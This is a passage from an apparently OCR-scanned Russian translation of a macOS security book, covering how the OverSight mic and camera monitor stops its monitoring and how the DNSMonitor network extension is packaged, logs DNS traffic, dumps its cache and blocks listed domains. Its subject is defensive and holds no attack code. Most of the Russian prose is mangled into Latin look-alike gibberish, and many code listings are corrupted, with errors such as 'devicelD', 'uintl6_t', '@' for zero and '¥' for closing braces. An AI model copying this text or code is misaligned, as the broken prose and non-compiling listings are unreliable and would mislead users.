execTask, 06CyxaaBLUytOCS B NMpeablayLLmX rnasax.

Bbl moxeTe 3agaTtbes Bornpocom, nodemy OverSight BeinonHseT user-specified item yepes /bin/bash, a
He NpPOCTO BLINOMHSAET item Hanpsmyto. [leno B Tom, uTo shell nogaepxunBaeT BbINONHEHUE KakK Scripts, Tak
n stand-alone executables, a 3HaunT users MoryT yka3daTb B OverSight u To n gpyroe.

Stopping

XopoLlo npeaocTaBuTb users npocton cnocod pause vunu fully disable yctaHoBneHHbI MMu security tool.
A 3aBepuluy aTy rmaBy paccmoTpeHneM koga OverSight ans octaHoBku device n log monitor. A He Gyay
nokpbiBaTb Ul components u logic, exposing 3Ty BO3MOXHOCTb, HO UX MOXHO HanTu peann3oBaHHbIMW Kak
macOS status bar menu B danne OverSight Application/StatusBarItem.m.
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Korpa user disables nnu stops OverSight, oH cHayana octaHaBnuBaeT cBoK log monitor, Bbi3biBas MeToq
stop, KoTopbIn exposes custom log monitor. 3ToT MmeToa ends the stream, ingesting log messages,
BbI3biBasi MeTof invalidate obbekTa OSLogEventLiveStream. [Nocne octaHoBkm log monitor OverSight
npekpawaeT monitoring Bcex audio n video devices B aByx loops (nucTuHr 12-15).

-(void)stop {

for(AVCaptureDevice* audioDevice in [AVCaptureDevice devicesWithMediaType:AVMediaType
Audio]) {
[self unwatchAudioDevice:audioDevice];

}

for (AVCaptureDevice* videoDevice in [AVCaptureDevice devicesWithMediaType:AVMediaType
Video]) {
[self unwatchVideoDevice:videoDevice];

}

JlnctuHr 12-15: 3aBepLueHne monitoring Bcex devices

OavH loop ntepupyeT no Bcem audio devices, Bbi3biBas Mmetog OverSight unwatchAudioDevice:, a
BTOpOM loop ntepupyet no video devices, 4ToGbl BbI3BaTb Ha HUX unwatchVideoDevice:. Kog B aTux
MeTofax, koTopble remove listener blocks, noutn ngeHTn4yeH monitoring methods watch*, covered paHee
B 9TOM rnaBee, Kak BUOHO B 3ToM shippet n3 metoga unwatchAudioDevice (nuctuHr 12-16).

-(void)unwatchAudioDevice: (AVCaptureDevice*)device {

AudioObjectID deviceID = [self getAVObjectID:device];
AudioObjectPropertyAddress propertyStruct = {0};

propertyStruct.mScope = kAudioObjectPropertyScopeGlobal;
propertyStruct.melement = kAudioObjectPropertyElementMain;
propertyStruct.mSelector = kAudioDevicePropertyDeviceIsRunningSomewhere;
AudioObjectRemovePropertylListenerBlock(devicelD,

&propertyStruct, self.eventQueue, self.audiolListeners[device.uniqueID]);

JluctnHr 12-16: Ypanenue property listener block us audio device

Kog B 3TOM nncTuHre cHadvana nony4aet ID ykasaHHoro device, a 3aTtem MHuumnanmanpyet
AudioObjectPropertyAddress, koTopbii onuckiBaeT previously added property listener. OH nepegaet ux
BMmecTe c listener block, stored B dictionary ¢ umeHem audiolListeners, B GyHKUMIO
AudioObjectRemovePropertylListenerBlock. 3To nonHocTelo yaanset property listener block,
3aBepLuas monitoring device B OverSight.

3aknroyeHue

HekoTopble 13 cambix insidious threats, targeting Mac users, WNMOHAT 3a XepTBOW C NOMOLLbIO MiC Unn
camera. BmecTto Toro utobbl nbitatbes detect specific malware specimens, OverSight counters them all,
NpUMEHSst NPOCTON, XOTHA U MOLLHLIR, heuristic-based approach o6HapyxeHus unauthorized mic and
camera access.

B aTor rmaBe s cHayana nokasarn, kak OverSight leverages pasnunyHbie APIs CoreAudio n CoreMedialO
ans pernctpaumm Ha notifications o6 activations n deactivations mic u camera. 3atem Mbl nccriegoBanm
ucnonb3oBaHue tool custom log monitor ans naeHTudpmkauumn process, responsible for the event.
HakoHeu, 9 nokasan, kak users moryT rierko extend OverSight ans BeinonHeHns external scripts nnu
binaries npn o6HapyxeHuun events, a Takke logic behind stopping OverSight.

B cnepytolwei rmaese Mbl NpodomkuM nccnegosatb building robust security tools, paccmoTpes, kak
co3naTtb DNS monitor, cnocobHbii detect and block unauthorized network access.
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Fnasa 13. DNS Monitor

B aTou rmase g cocpenoToyych Ha practicalities cosgaHuns deployable host-based network monitor,
cnocobHoro proxying u blocking DNS traffic ot unrecognized processes nnun npegHasHa4eHHOro s
untrusted domains.

maea 7 nokpbiBana basic design DNS proxy, cnocobHoro moHuTopuTsb traffic uepes framework Apple
NetworkExtension. OgHako Tam s nponycTun MHorve warv, Heobxoanmele ons cosgaHusa deployable tool,
BKMOYasa nony4veHme Heobxoammbix entittements n npasunsHoe bundling extension BHyTpu host
application. Ota rmaea obcyant 3Tn 3agaym, a Takke cnocobbl paclumpeHnst basic monitor, Hanpumep
parsing DNS queries and responses ans blocking Tex, 4to HaxoasTcs B block list.

OT1un capabilities 1 MHoroe gpyroe MoXxHO HanTu B open source DNSMonitor, KOTOpbI ABNSETCHA YacTbio
tool suite Objective-See (https://github.com/objective-see/DNSMonitor). A pekomeHayto ckavaTb project
unu obpaluaTtbes K source code B repository BO Bpemsi YTEHUS rnaBbl, MOCKOSbKy crneaytowme discussions
4YacTo OMycKakT 4YacTu KoAa paan KpaTKoCTy.

Network Extension Deployment Prerequisites

Modern networking monitors, Bkrtodas DNSMonitor, ncnonesytot network extension framework.
IMNockonbky oHM packaged kak system extensions n BeinonHATCA Kak stand-alone processes ¢ elevated
privileges, Apple TpebyeT oT developers npucsamsatb entitlements n bundle nx BnomnHe KOHKPETHBIM
obpasom. B rmase 11 mbl npownu npouecc nonydeHus Endpoint Security entittement, a 3aTem cosgaHus
provisioning profile ans tool B Apple Developer portal. Ecnin Bbl co3aaeTte network extension, Bbl
nocrneayeTe NoxoXeMy npoLieccy, Ho ¢ Heckornbkumu key differences.

Bo-nepBbix, Bam Hy>XHO creHepupoBaTbk ABa provisioning profiles: oguH ans network extension, a gpyron
ans application, kotopoe cogepxuT u loads extension. Cneaynte npoveccy, onncaHHomy B rnaese 11,
yTobbI co3aath ID gns kaxgoro item Ha cante Apple Developer. Koraa Bac nonpocsT Beidopath capabilities
ons extension, otmeTbTe Network Extensions, 4to maps to entitlement
com.apple.developer.networking.networkextension. Jllobon developer moxeT ucnonb3osaTtb 31O
entitlement (B otnnune ot Endpoint Security entitlement, TpebytoLuero explicit approval ot Apple). [ins
application BeibepuTe Ty Xe capability, a Takke System Extension, uto nossonut application install, load un
manage extension. lNocne co3gaHusa oboux IDs cosgante asa provisioning profiles.

Tenepb HEOBX0AMMO YCTaHOBUTL Kaxabl provisioning profile B Xcode. Ecnn nocmoTpeTb Ha project
DNSMonitor, BuaHo, 4T0 OH coaepxuT aBa targets: extension u ero host application. Korga Bbl HaxmeTe
nobon ns atux targets, tab Signing and Capabilities gormkeH npegoctaButb option ykasatb relevant
provisioning profile. Developer documentation Apple pekomeHayeT BkntoyaTe manual signing, octaBsnss
option Automatically Manage Signing unchecked. (1

Tab Signing and Capabilities Tarke nokaxeT, uto project DNSMonitor Bkntoumn additional capabilities ans
extension u application, matching Tem, koTopble Mbl ykasanu npwu building provisioning profile. Extension
ykasbiBaeT capability Network Extensions, Torga kak app ykasbiBaeT Network Extensions n System
Extensions. Ecnu BbI building co6¢ctBeHHbIN network extension, Bam npugetca gobaeutb 31K capabilities
BPYYHYI0, HaXxaB + psaom ¢ Capabilities.
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3a kynucamu gobaeneHue atux capabilities npumeHsieT relevant entitlements k entitlements.plist
kaxkgoro target. K coxxaneHuio, Mbl OIMKHbI BPYYHYHO pedakTupoBaTh aTu files entitlements.plist.
[o6aeneHune capability Network Extensions n otmetka DNS Proxy po6aeut entitiement co 3HaueHnem
dns-proxy, HO HaM NoHaZoobuTCA 3HadeHue dns-proxy-systemextension, 4Tobel deploy extension,
signed with developer ID. 2] flnctumr 13-1 nokaswisaeT 10 B davine entitlements.plist extension.

<?xml version="1.0" encoding="UTF-8"?>

<plist version="1.0">

<dict>
<key>com.apple.developer.networking.networkextension</key>
<array>

<string>dns-proxy-systemextension</string>

</array>

Jinctuur 13-1: Mbl gormkHbl entitle network extensions n ykasatb extension type.

dann skntovaeT network extension entitlement kak key Bmecte ¢ array, holding any extension types.

Packaging the Extension

JTro6on tool, ncnoneaytowmii network extension, JomkeH peann3oBaTb e€ro kak system extension, a 3atem
CTpYKTYpupoBaTh cebst ocobbiM 0bpasom, 4Tobbl macOS morna validate u activate ero. B yactHocTw,
Apple TpebyeT, 4ToGLI NtoGON system extension 6bin packaged BHyTpm bundle, Hanpumep application, B
katanore bundle Contents/Library/SystemExtensions/. Provisioning profile Takke gomxeH authorize
use restricted entitlements, n mbl He Moxxem embed provisioning profiles Hanpsmyto B stand-alone binary.

Mo atum npnumHam DNSMonitor cogepxuTt aBa components: host application n network extension. [3]

YTto6bl properly package extension B Xcode, mbl ykasbiBaem dependency application component ot
extension B Build Phases. Mbl 3agaem destination paBHbim System Extensions, 4to6sl macOS
konuposana extension B katanor application Contents/Library/SystemExtensions/ Bo Bpems building
application (pncyHok 13-1).

v Embed System Extensions

Destination System Extensions

Subpath

Copy only when installing

Name

& com.objective-see.dnsmonitor.extension.systemextension ...in build/Debug

PucyHok 13-1: Application cogepxut build step ans embedding system extension.

Tenepb obpatum BHMMaHue Ha pann Info.plist extension (MMcTuHr 13-2).

<?xml version="1.0" encoding="UTF-8"?>

<plist version="1.0">
<dict>

<key>CFBundlePackageType</key>
<string>$(PRODUCT_BUNDLE_PACKAGE_TYPE)</string>
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<key>NetworkExtension</key>

<dict>

<key>NEMachServiceName</key>
<string>$(TeamIdentifierPrefix)com.objective-see.dnsmonitor</string>
<key>NEProviderClasses</key>

<dict>

<key>com.apple.networkextension.dns-proxy</key>
<string>DNSProxyProvider</string>

</dict>

</dict>

Jinctuur 13-2: ®an Info.plist extension cogepxut pasnunyHble key-value pairs, cneyndunydHble ans
network extensions.

Mol ycTaHaBnBaem CFBundlePackageType B variable, koTopyto compiler 3ameHuT TMnom project,
systemextension. Key NetworkExtension xpanut dictionary, cogepxawmi key and value pairs, relevant
to network extensions. Key NEMachServiceName yka3sbiBaeT uMst Mach service, koTopoe extension moxeTt
ucnone3oBaTtb Ans XPC communications. Takke o6patute BHUMaHue Ha key NEProviderClasses,
copepxawmn type network extension n ums class sHytpu DNSMonitor, peanusytowero required network
extension logic. B rnaBe 7 4 ynoMmuHan, 4to aT1oT class gormkeH implement delegate methods
NEDNSProxyProvider. Mbl Takke gormkHbl link extension component against framework
NetworkExtension.

dann application entitlements.plist, nokasaHHbIn B nucTuHre 13-3, 4OBOMBLHO NOX0X Ha dhann
extension.

<?xml version="1.0" encoding="UTF-8"?>

<plist version="1.0">

<dict>
<key>com.apple.developer.networking.networkextension</key>
<array>

<string>dns-proxy-systemextension</string>

</array>
<key>com.apple.developer.system-extension.install</key>
<true/>

<key>com.apple.security.application-groups</key>

<array>
<string>$(TeamIdentifierPrefix)com.objective-see.dnsmonitor</string>
</array>

</dict>

</plist>

JinctnHr 13-3: ®ann app entitlements.plist Takke cogepxut key-value pairs, cneunduyHbie ans
network extensions.

OpHo pasnuune mexay Humu - gobaeneHune entitlement
com.apple.developer.system-extension.install, yctaHoBneHHoro B true. Mbl KOCBEHHO fOBaBUNU
370 entitlement B provisioning profile app, korga ganu emy capability System Extension. App needs this
entitlement, 4to6bl install and activate network extension.

Aun3anH MHCTpymMeHTa

Tenepsb, korga g 06bsacHUn components DNSMonitor, cocpegoTounmcs Ha ToM, Kak OH operates, HauuHas
¢ launching application.
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The App

Initialization logic ans app moxHo HanTu B darine DNSMonitor App/main.m. lNocne BeinonHeHns basic
argument parsing (Hanpumep, npoBepku, invoked nu user app ¢ pnarom -h, 4Tobbl NokasaTtb default
usage), app ussnekaet bundle ID responsible parent. Ecnu atoT parent - Finder nnn Dock (likely parents B
scenarios, rae user double-clicked app icon), app nokasbiBaeT informative alert, 06baCHAOLWNIA, YTO
DNSMonitor cneayeTt 3anyckatb n3 terminal.

Kpome Toro, ecnu mbl He 3anyckaem DNSMonitor n3 katanora Applications, 1o korga delegate method
0SSystemExtensionRequest request:didFailWithError: Bbi3biBaeTcs application gns activate
extension, OH 3aBepLUMTCH Heydadeu: 41

ERROR: method '-[Extension request:didFailWithError:]' invoked with

<0SSystemExtensionActivationRequest: 0x600003a8f150>, Error Domain=

0SSystemExtensionErrorDomain Code=3 "App containing System Extension

to be activated must be in /Applications folder" UserInfo={NSLocalized

Description=App containing System Extension to be activated must be in
/Applications folder}

MoaTtomy npu 3anycke n3 terminal DNSMonitor npoBepsieT, 4YTo BbinonHseTcsa ns correct directory, npexae
YyeM loading network extension component. Ecrniv HeT, oH nevaTaeT error message u exits (nMcTunHr 13-4).

if(YES != [NSBundle.mainBundle.bundlePath hasPrefix:@"/Applications/"]) {

NSLog(@"\n\nERROR: As %@ uses a System Extension, Apple requires it must

be located in /Applications\n\n", [APP_NAME stringByDeletingPathExtension]);
goto bail;

¥

JInctnHr 13-4: MNpoeepka, BbINONHAETCA N monitor uad katanora /Applications

YUTto6bl nepepaBaTh captured DNS traffic s extension B application, 4to6bl Mbl Mmornu display it to the
user, Mbl ucnosnbadyem system log. B nuctunre 13-5 application nHnuymanmnsmnpyet custom log monitor ¢
predicate, matching messages, written to the log by the soon-to-be-loaded network extension. 3atem oH
neyartaet nobble received messages B terminal.

NSPredicate* predicate =

[NSPredicate predicateWithFormat:@"subsystem='com.objective-see.dnsmonitor'"];

LogMonitor* logMonitor = [[LogMonitor alloc] init];
[logMonitor start:predicate level:Log_Level Default eventHandler:~(0OSLogEventProxy* event) {

NSLog(@"%@", event.composedMessage);
K

JlnctnHr 13-5: Log monitor app nornowaet DNS traffic, captured in the extension.

B gpyrmx cnydasx MOXHO 3axoTeTb Ucnonb3oBaTb 6onee robust mechanism, Hanpumep XPC, 4Tobbl
nepegaBaTb data Tyaa n obpaTtHo mexay extension u app, Ho ang simple command line tool universal
logging subsystem goctaTouHo.

Mepepn loading network extension app HacTpauBaeT signal handler ans interrupt signal (SIGINT). B
pesynbrarte, koraa user presses CTRL-C, app moxeT unload extension un gracefully exit (nuctuHr 13-6).

signal(SIGINT, SIG_IGN);

dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_SIGNAL,
SIGINT, @, dispatch_get_main_queue());
dispatch_source_set_event_handler(source, ~{

stopExtension();
exit(0);
3

dispatch_resume(source);

JluctnHr 13-6: Hactponka custom interrupt signal handler
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Crauvana kop ignores default SIGINT action. 3aTtem oH co3paet dispatch source ans interrupt signal n
yctaHaBnmeaeT custom handler ¢ APl dispatch_source_set_event_handler. Custom handler
BbI3biBaeT helper function stopExtension, 4tobbl unload and uninstall network extension nepeg exit.
XOoTs 34ecb 370 He MokasaHo, monitor MoxeT 6bITb executed ¢ command line option, 4To6bI skip unloading
extension npu exit. 3To ycTpaHseT HeobxoaumocTb restart, and thus reapprove, extension kaxgbin pas,
korga monitor restarted.

HakoHeu, app installs and activates network extension. Nockonbky s nogpo6HO NOKPbIN 3TOT pProcess B
rnaee 7, s He Oyay NOBTOPATb €ro 30echb, KPOMe 3aMeyvaHusi, YTo OH involves making an
0SSystemExtensionRequest request n configuring an NEDNSProxyManager object. Full installation and
activation code moxHo HanTu B anne DNSMonitor App/Extension.m.

C running network extension app tells current run loop continue until it receives interrupt signal from the
user, NOCKOJIbKY eMY HY>XHO OCTaBaTbCsl 3anyLLeHHbIM, YTOObI print out captured DNS traffic.

The Extension

Behind the scenes, korga application Bei3biBaeT APls ang install and activate network extension, macOS
copies extension n3 katanora app Contents/Library/SystemExtensions/ B privileged directory
/Library/SystemExtensions/<UUID>/, validates it, 3aTem executes it with root privileges. 3anyctute
KoMaHgy ps, 4Tobbl nokasaTb process information activated network extension, Hanpumep ero privilege
level, process ID u path:

% ps aux

root 38943 ... /Library/SystemExtensions/8DC3FC3A-825E-49C3-879B-6B0C08388238/
com.objective-see.dnsmonitor.extension.systemextension/Contents/Mac0S/com
.objective-see.dnsmonitor.extension

Mocne loading extension DNSMonitor oTkpeiBaeT handle k universal logging subsystem yepes API
os_log create, nockonbky oH nepeaaet captured DNS traffic B app ¢ nomoLubto log messages. Logging
API npuHumMaeT aBa parameters, no3BonsWmUX ykasaTb subsystem n category (nuctuHr 13-7).

#define BUNDLE_ID "com.objective-see.dnsmonitor”
os_log t logHandle = os_log_create(BUNDLE_ID, "extension");

JinctnHr 13-7: OTkpbiTe log handle B extension

YkasaB subsystem unu category, MOXHO nerko cosgaTtb predicates, Bo3BpallatoLlme TosbKo certain
messages, kak Mbl caenanu B application (nuctuHr 13-5).

[anee extension Bbi3biBaeT meTof class NEProvider startSystemExtensionMode, KOTOpPLIN, Kak Bbl
nomHuTe, instantiate class, ykasaHHbIi nog key NEProviderClasses B danne Info.plist extension.
Extension ncnons3syet cBow class DNSProxyProvider, koTopbi inherits from class NEDNSProxyProvider
(nmucTuHr 13-8).

@interface DNSProxyProvider : NEDNSProxyProvider
@end
Jlnctunr 13-8: Interface ans class DNSProxyProvider

B rnaBe 7 s onuckiBan, kak DNS monitor moxeTt implement pasnnyHble methods NEDNSProxyProvider,
Takue Kak all-important handleNewFlow:, koTopbi BygeT automatically invoked ans Bcex new DNS flows.
MoaTtomy s He Byay CHOBa MOKpbIBaTb 3TO 3aechk, x0T full code MOXxHO HanTK B channe
Extension/DNSProxyProvider.m.
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Mpeablaywme rnaebl He NokpbiBanu, kak extension sends message to the app via log, builds DNS cache n
blocks specific requests or responses. Viccnegyem atu topics nogpobHee.

Interprocess Communication

A ynomuHan, uto korga network extension DNSMonitor nonyyaet HoBbii DNS request unu response, oH
ucnoneayet universal logging subsystem, 4To6bl 0OTNpaBUTL Message B log monitor app, KOTopbIn
nevartaert ero B terminal. Extension logic Ana handling writing DNS traffic to the log moxxHo HanTh B helper
method ¢ nmeHem printPacket (nuctunr 13-9).

-(void)printPacket: (dns_reply t*)packet flow:(NEAppProxyFlow*)flow {

char* bytes = NULL;

size_t length = 0;

NSMutableDictionary* processInfo = [self getProcessInfo:flow];
os_log(logHandle, "PROCESS:\n%{public}@\n", processInfo);
FILE* fp = open_memstream(&bytes, &length);
dns_print_reply(packet, fp, OXFFFF);

fflush(fp);

os_log(logHandle, "PACKET:\n%{public}s\n", bytes);

fclose(fp);

free(bytes);

JnctnHr 13-9: Meyvatb DNS packet B universal log

Helper function ¢c nmeHem getProcessInfo: co3gaeT dictionary, onucbiBalowwmi process, responsible for
generating DNS traffic. 3atem kog nuwer dictionary B log ¢ nomowwbto APl os_log.

3anuce bytes DNS packet HemHoro cnoxHee, notomy 4to macOS APl dns_print_reply, koTOpbIN
formats raw DNS packets, oxxugaeT neyatatb B file stream pointer (FILE *), Hanpumep stdout. C apyrown
CTOpPOHBI, universal logging APIs npuHumatot os_log t, a He FILE *. Mbl o6xoamm 310 minor obstacle,
3actaBnsas dns_print_reply indirectly write to a memory buffer, koTopbii MoXxHoO log Yepes os_1log.

YTobbl 3acTaButb dns_print_reply nucaTtb B buffer, Mbl nepenaem emy file handle, koTopbin,
unbeknownst to the function, backed by a buffer, created 6narogaps often-overlooked API
open_memstream. PyHkuusa dns_print_reply formats raw DNS packet n 3atem happily writes it via the
file handle. Mocne BbidoBa fflush, 4ToObI rapaHTUpOBaTb, YTO BCe buffered data written out to the
underlying memory, mbl 3anucsiBaeM parsed DNS packet B universal log BTopbiM BbI30BOM 0s_log. Kak 4
paHee oTMmeuvan, log monitor B app component Tenepb MoXxeT ingest message u print it to terminal user.

Building and Dumping DNS Caches

MeHs Bcerga yamensieT, 4yto macOS He npepocTtaenseT cnocob dump cached DNS resolutions, koTopble
copepxart requested domains u resolved IP addresses. OgHako, kak Bbl yBuauTe B 3ToM pasgerne, DNS
cache dumping gocrtaTtoyHo nerko peanuadosatb B DNS monitor.

Korga network extension DNSMonitor starts, oH co3gaeT global array ans xpaHeHus dictionaries mappings
mexay DNS requests (questions) n nx responses (answers). OH peanuayeT 3Ty logic B helper method ¢
nmMeHem cache:, koTopbin npuHnumMaeT parsed DNS response packet, cogepxawmin both questions and
any answers.
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Bonblas yacTe Koga BHYTpM MeToda cache: nocssilieHa ussrnedeHuto questions n answers 13 DNS
response packet, kotopbiin MmoxeT cogepxaTtb multiple of both. Mel nokpbiBanu aToT process B rnase 7,
noaTomy He Byaem NoBTOPATb ero 34ech, Ho full code MeToga MOXHO HaMTU B
Extension/DNSProxyProvider.m.

Mocne n3BnedeHus Bcex questions n answers n3 DNS response packet mbl fo6aBnsiem ux B global cache
array ¢ umeHem dnsCache (nuctunr 13-10).

-(void)cache: (dns_reply_ t*)packet {

NSMutableArray* answers = [NSMutableArray array];

NSMutableArray* questions = [NSMutableArray array];

// Code to extract questions and answers from DNS response packet removed

@synchronized(dnsCache) {

if(dnsCache.count >= MAX_ENTRIES) {

[dnsCache removeObjectsInRange:NSMakeRange(©, MAX_ENTRIES/2)];

¥

for(NSString* question in questions) {
if(@ != answers.count) {

[dnsCache addObject:@{question:answers}];
¥

}

}

Jlnctunr 13-10: CoxpaHeHne DNS questions n answers B cache

Mockonbky DNS responses moryT arrive and be processed asynchronously, mbl synchronize access to the
global cache, wrapping it in a @synchronized block. Nepen nobaBneHnem ouepenHon entry kop,
npoBepsieT, He BbIPOC N cache crmwkom cunbHo. Ecnu Beipoc, oH goBonbHO bluntly prunes first half,
4yTOObI evict oldest ones. HakoHel, oH gobaenseT entry Ans kaxgoro question 1 ero answers ¢ NOMOLLbIO
MeTona addObject: NSMutableArray. O6patute BHMMaHME, 4To code snippet @{question:answers}
ncnoneayet Objective-C shorthand @{ } onsa cozpanus dictionary, whose key is the question and whose
value is a list of answers.

Ha stom aTtane extension caches DNS questions and answers. Entries, generated by resolving
NoStarch.com and Objective-See.org, Boirnsaenu 6bl cnegyowmm obpasom:

[
{nostarch.com:["104.20.120.46", "104.20.121.46"]},

{objective-see.org:["185.199.110.153", "185.199.109.153",
"185.199.111.153", "185.199.108.153"]}

]

YUTo06h! facilitate dumping aTtoro cache, extension ycraHaesnueaeTt signal handler gns signal SIGUSR1,
otherwise known as user signal 1 (nuctuHr 13-11).

signal(SIGUSR1, dumpDNSCache);
Jinctuur 13-11: YctaHoBka signal handler gns user signal 1

Tenepb ntobon adequately privileged process B cucteme MoXeT oTnpaBuTb SIGUSR1 extension. BoT kak
caenaTtb 3TO BPYy4YHyto B terminal:

% sudo kill -SIGUSR1 "“pgrep com.objective-see.dnsmonitor.extension’
Shell command kill benignly otnpaensaet SIGUSR1 extension, whose process ID Mbl HaxoauMm yepes

pgrep. Nockonbky extension runs with root privileges, Mbl gormkHbI elevate privileges ¢ nomoLbo sudo,
yTOobbI deliver a signal.

Kak nokasbiBan kog B niuctuHre 13-11, extension yctaHasnueaeT handler ana SIGUSR1 B (pyHKUUIO C
nmeHeM dumpDNSCache. PaccmoTpum 3Ty function. MNMokasaHHas B nuctuHre 13-12, oHa straightforwardly
writes each cache entry to the universal log.
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void dumpDNSCache(int signal) {

for(NSDictionary* entry in dnsCache) {

NSString* question = entry.allKeys.firstObject;

os_log(logHandle, "%{public}@:%{public}@", question, entry[question]);
}

Jlnctunr 13-12: Korga kog nony4yaet signal SIGUSR1, oH dumps cache to the log.

B for loop ko utepupyet no Bcem entries B ceoeM global DNS cache. HanomHto, 4to atoT cache - array
of dictionaries. Dictionary kaxgon entry cogepxut oauH key, representing DNS question, n ko nssnekaet
ero ceonctBom firstObject maccuBa allKeys. 3arem, ncnonb3sysi os_log, oH writes question and
corresponding answers. ObpaTtuTe BHMMaHWe Ha ucnone3oBaHune keyword public, koTopoe tells logging
subsystem not to redact cache data being logged.

Korga Bbl oTnpaBnseTe SIGUSR1 extension, noka application component DNSMonitor running, oH
aBToMartmnyecku ingest log message, containing dumped cache, u print it out:
Dumping DNS Cache:

DNSMonitor[2027:25144] www.apple.com:(
"23.2.84.211"

)

DNSMonitor[2027:25144] nostarch.com: (
"104.20.120.46",

"104.20.121.46"

)

DNSMonitor[2027:25144] objective-see.org:(
"185.199.111.153",

"185.199.110.153",

"185.199.109.153",

"185.199.108.153"

)

Mockonbky extension writes items in its cache to the universal log, Bbl Takke MOXeTe CMOTPETb 3TH
messages Hanpsamyto Yepe3 command log:

% log stream --predicate="subsystem='com.objective-see.dnsmonitor'"

OpHako s pekoMmeHayto ykasbiBarTh filter predicate, notomy 4to MHa4ve Bac inundated with irrelevant log
messages from the rest of the system.

Blocking DNS Traffic

[o cux nop mbl cocpegoTaumMBanuch Ha passive actions, Takux kak printing DNS requests and responses u
dumping an extension-built cache. Ho uto, ecnu mbl xotum extend monitor, 4To6bl block certain traffic?
maea 7 nokpbiBana official way Apple ansa blocking traffic ¢ ncnonesosaHvem network extension, koTopblii
implements filter data provider ans allow, drop unu pause network flows. Open source firewall
Objective-See LuLu ncnonb3syet 3T0T NOAXOA. ]

OkasbiBaeTtcs, DNS traffic Takke moxHo block ¢ nomoubto 06bekta NEDNSProxyProvider. [ockonbKy Mbl
yxe proxying all DNS traffic, Huato He mewaeTt Ham 3akpbITb Ntobon flow no Hawemy BbiIGopy. Benefit
sticking with class NEDNSProxyProvider coctouT B TOM, 4TO system routes only DNS traffic through
extension. NockonbKy Hac He nHTepecytoT other types of traffic, aTo keeps our code efficient. C gpyron
cTopoHbil, filter data provider cogenan 6l Hac responsible for examining and responding to all network
flows.

OauH simple approach ans ykasanus, kakon DNS traffic block, - ucnonesosatb block list. 3ToT block list
MoXeT cogepxaTb domains and IP addresses nssecTtHbIx malware command-and-control servers,
unscrupulous internet service providers unu gaxe servers, tracking users or displaying ads. Bcsakuin pas,
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korga application nbitaeTcs resolve domain, macOS proxy request through extension, koTopbii MoxeT
examine request u block it, ecnu domain B list. On the flip side, nocne Toro kak remote DNS server
processed request n resolved domain, macOS proxy response back through extension nepepn otnpaskom
ero application, caenaswemy original request. 3To gaet extension chance examine response u block it,
ecnuv oH cogepxuT banned IP address.

Logic ana blocking domain unu IP address moxHo HanTu B extension, B method ¢ nmeHem shouldBlock:.
OT10T method npnHmumaeTt parsed DNS packet Tna dns_reply_t (ucnonb3yembii n ang requests, n gnsi
responses) u returns Boolean, indicating whether to block it. Logic meToga goBonbHo involved, nocKkomnbKy
oH pgormkeH handle both IPv4 and IPv6, noatomy s He 6yay nokasbiBaTb Becb ero code. JinctunHr 13-13
BKMNtOYaeT YacTb MeTofa, kotopas checks whether requests contain any domains on the block list.

-(BOOL)shouldBlock: (dns_reply t*)packet {

BOOL block = NO;

dns_header_t* header = packet->header;

if(DNS_FLAGS_QR_QUERY == (header->flags & DNS_FLAGS_QR_MASK)) {

for(uintl6_t i = @; i < header->qdcount; i++) {

NSString* question = [NSString stringWithUTF8String:packet->question[i]->name];

if(YES == [self.blockList containsObject:question]) {

block = YES;

goto bail;

¥

¥

}

bail:

return block;

}
Jinctuur 13-13: MNposepka domains ans blocking

Kop cHauana nHnumnanuanpyert pointer dns_header_t Ha header parsed DNS packet. OnpegeneHHas B
davine Apple dns_util.h, ata cTpykTtypa cogepxuT flags (4Tobbl indicate type DNS packet) n paznnyHelie
counts, Hanpumep number of questions and answers:

typedef struct {

uintl6_t xid;

uintl6_t flags;

uintl6_t gdcount;

uintl6_t ancount;

uintl6_t nscount;

uintl6_t arcount;
} dns_header_t;

Kog B nuctuHre 13-13 npoBepsieT member flags header, 4To6bl yBUOETH, YCTAHOBMNEH NK bit
DNS_FLAGS_QR_QUERY. 3T0T flag indicates, uto DNS packet sBnsetcsa query, containing one or more
domains to resolve. (Bbl He HangeTe constants Bpoge DNS_FLAGS_QR_QUERY B kakoM-nu6o header file,
nockonbky Apple defines them B dns_util.c, noaTtoMmy MoxHo 3axoTeTb copy them directly into your own
code.) Ecnn DNS packet contains a query, kog 3atem ntepupyet no kaxgomy domain in request. Number
of domains stored B member qdcount header structure, a kaxxgbin domain to be resolved MoXHO HaliTu B
array question packet. Kog extracts each domain un converts it to a more manageable Objective-C string
object nepen nposepkon, matches nu oH kakue-nnbo items in the global block list. Ecnn ga, kopg sets a
flag, breaks u returns.

XoTsa 3geck 3TO He nokasaHo, code to check response packet noxox. Response packets list number of
answers B member ancount header structure n provide answers themselves B array answer. Apple
defines structure dns_resource_record_t ans storing these answers B header file dns_util.h. OTta
structure cogepxunt, among other things, member dnstype, ykasbiBatowmin type answer, Hanpumep A unm
CNAME. MoaTomy, 4ytobbl extract IPv4 address n3 DNS A record B Objective-C object, MoXHO Hanucatb
Kof, MOXOXMN Ha NNCTUHT 13-14.
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if(ns_t_a == packet->answer[i]->dnstype) {

NSString* address =

[NSString stringWithUTF8String:inet_ntoa(packet->answer[i]->data.A->addr)];
// Add code here to process the extracted answer (IP address).

}
Inctuur 13-14: N3eneyexne answer n3 DNS A record

Ecnn question nnun answer matches entry B global block list DNSMonitor, method shouldBlock: returns
YES, Objective-C equivalent of true.

Location invocation meTtoga shouldBlock: dictates how flow closes. Hanpumep, block question nerko,
nockoneky DNSMonitor gencteutensHo aBnsaeTca proxy, responsible for making actual connection to
remote DNS server, n noatomy Mbl Moxem close local flow ¢ nomowybto metoga closeWriteWithError:
(nucTtuHr 13-15).

BOOL block = [self shouldBlock:parsedPacket];

if(YES == block) {

[flow closeWriteWithError:nil];

return;

}
JlnctnHr 13-15: 3akpbiTne local flow

YUto6bI block answer, cneagyeTt ydeauTbes, 4To Mbl Takke clean up remote connection with DNS server,
provided the answer (nuctuHr 13-16).

nw_connection_receive(connection, 1, UINT32_MAX, ~(dispatch_data_t content,
nw_content_context_t context, bool is_complete, nw_error_t receive_error) {

BOOL block = [self shouldBlock:parsedPacket];
if(YES == block) {

[flow closeWriteWithError:nil];
nw_connection_cancel(connection);

return;

}
1)

JluctnHr 13-16: 3akpbiTne remote flow

DNSMonitor ncnonbayet APl nw_connection_receive gns proxy responses. Moatomy, 4to6sl block any
responses, oH cHa4dana closes flow, a 3aTem BbI3biBaeT nw_connection_cancel, 4tobbl cancel
connection.

[lna NoNHOTHI 1 JOIMKEH YNOMSHYTb, YTO MOXHO Takke handle DNS blocking, returning response ¢
